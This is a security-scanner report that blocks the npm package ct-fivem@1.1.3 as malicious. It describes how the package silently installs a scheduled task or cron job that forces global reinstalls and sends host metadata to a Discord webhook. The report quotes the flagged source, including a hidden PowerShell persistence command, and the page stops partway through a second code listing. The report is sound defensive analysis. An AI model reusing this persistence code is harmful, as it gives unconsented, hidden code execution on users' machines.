Loading npm security reports…

ct-fivem@1.1.3: Malicious npm security report (Block) | LPM Firewall

registry / ct-fivem / 1.1.3

ct-fivem@1.1.3

FiveM CLI launcher and auto-reconnect watchdog

AI Security Review

scanned 6d ago · by lpm-firewall-ai

Invoking any package CLI command creates covert OS persistence that repeatedly installs the latest global package. Normal CLI activity also auto-updates and reports operational metadata to a preconfigured Discord webhook.

Static reason

High-risk behavior combination matched malicious policy.; previous stored version diff introduced dangerous source

Trigger

User runs any ct-fivem CLI command.

Impact

Persistent unconsented code replacement and disclosure of hostname, FiveM server addresses, and activity metadata.

Mechanism

silent scheduled-task/cron persistence plus forced global self-update and webhook telemetry

Attack narrative

A user merely invoking the CLI causes it to silently register a Windows scheduled task or cron entry. That persistence mechanism repeatedly installs the newest global ct-fivem package, giving the publisher recurring unprompted code execution through future updates. The default configuration also sends host and FiveM activity metadata to a package-supplied Discord webhook.

Rationale

This is concrete stealth persistence and unconsented runtime package installation, not a normal explicit update command. The hard-coded telemetry destination compounds the risk.

Evidence

package.jsonsrc/cli.jssrc/utils/autoupdate-service.jssrc/utils/update.jssrc/config/config.jssrc/utils/discord.js

Network endpoints2

registry.npmjs.orgcanary.discord.com

Source & flagged code

7 flagged · loading source

src/utils/update.jsView file

•matchType = previous_version_dangerous_delta matchedPackage = ct-fivem@1.1.0 matchedIdentity = npm:Y3QtZml2ZW0:1.1.0 similarity = 0.682 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

src/utils/update.jsView on unpkg

1const https = require("https"); L2: const { exec } = require("child_process"); L3: const pkg = require("../../package.json");

High

Child Process

Package source references child process execution.

src/utils/update.jsView on unpkg · L1

24logger.info(`🚀 New version v${version} published! Auto-installing update...`); L25: exec("npm install -g ct-fivem@latest", (err) => { L26: if (err) {

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

src/utils/update.jsView on unpkg · L24

src/utils/autoupdate-service.jsView file

1const { exec } = require("child_process"); L2: const path = require("path"); ... L5: const { fetchLatestNpmVersion, isNewerVersion } = require("./update"); L6: const pkg = require("../../package.json"); L7: const logger = require("./logger"); ... L19: // Check if task already exists L20: exec(`schtasks /Query /TN "${TASK_NAME}"`, (err) => { L21: if (!err) { ... L38: // macOS / Linux cron fallback L39: exec("crontab -l", (err, stdout) => { L40: if (!err && stdout && stdout.includes("ct-fivem")) return;

Critical

Persistence Backdoor

Source writes persistence or remote-access backdoor material.

src/utils/autoupdate-service.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> src/cli.js -> src/utils/autoupdate-service.js L1: const { exec } = require("child_process"); L2: const path = require("path"); ... L5: const { fetchLatestNpmVersion, isNewerVersion } = require("./update"); L6: const pkg = require("../../package.json"); L7: const logger = require("./logger"); ... L19: // Check if task already exists L20: exec(`schtasks /Query /TN "${TASK_NAME}"`, (err) => { L21: if (!err) { ... L38: // macOS / Linux cron fallback L39: exec("crontab -l", (err, stdout) => { L40: if (!err && stdout && stdout.includes("ct-fivem")) return;

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

src/utils/autoupdate-service.jsView on unpkg · L1

26// Create a background task that runs every 30 minutes silently L27: // Uses powershell -WindowStyle Hidden to run completely invisibly L28: const psCommand = `powershell -WindowStyle Hidden -Command "Start-Process npm -ArgumentList 'install -g ct-fivem@latest' -WindowStyle Hidden"`;

High

Shell

Package source references shell execution.

Source & flagged code

7 flagged

src/utils/update.jsView file

Lines 1-44javascript

1const https = require("https");

2const { exec } = require("child_process");

3const pkg = require("../../package.json");

High

Child Process

Package source references child process execution.

src/utils/update.jsView on unpkg · L1

4const config = require("../config/config");

5const logger = require("./logger");

6const { sendDiscordWebhook } = require("./discord");

7

8function isNewerVersion(current, latest) {

9 if (!current || !latest) return false;

10 const c = current.replace(/^v/, "").split(".").map(Number);

11 const l = latest.replace(/^v/, "").split(".").map(Number);

12

13 for (let i = 0; i < Math.max(c.length, l.length); i++) {

14 const cv = c[i] || 0;

15 const lv = l[i] || 0;

16 if (lv > cv) return true;

17 if (lv < cv) return false;

18 }

19 return false;

20}

21

22function installUpdate(version) {

23 return new Promise((resolve, reject) => {

24 logger.info(`🚀 New version v${version} published! Auto-installing update...`);

25 exec("npm install -g ct-fivem@latest", (err) => {

26 if (err) {

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

src/utils/update.jsView on unpkg · L24

27 logger.warn(`Auto update failed: ${err.message}`);

28 return reject(err);

29 }

30 logger.info(`✓ Successfully updated ct-fivem to v${version}!`);

31 resolve(true);

32 });

33 });

34}

35

36function fetchLatestNpmVersion(timeoutMs = 3000) {

37 return new Promise((resolve) => {

38 const options = {

39 hostname: "registry.npmjs.org",

40 path: "/ct-fivem/latest",

41 method: "GET",

42 headers: {

43 "User-Agent": `ct-fivem/${pkg.version} (Node.js)`,

44 },

•matchType = previous_version_dangerous_delta matchedPackage = ct-fivem@1.1.0 matchedIdentity = npm:Y3QtZml2ZW0:1.1.0 similarity = 0.682 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

src/utils/update.jsView on unpkg

src/utils/autoupdate-service.jsView file

Lines 1-46javascript

1const { exec } = require("child_process");

2const path = require("path");

3const os =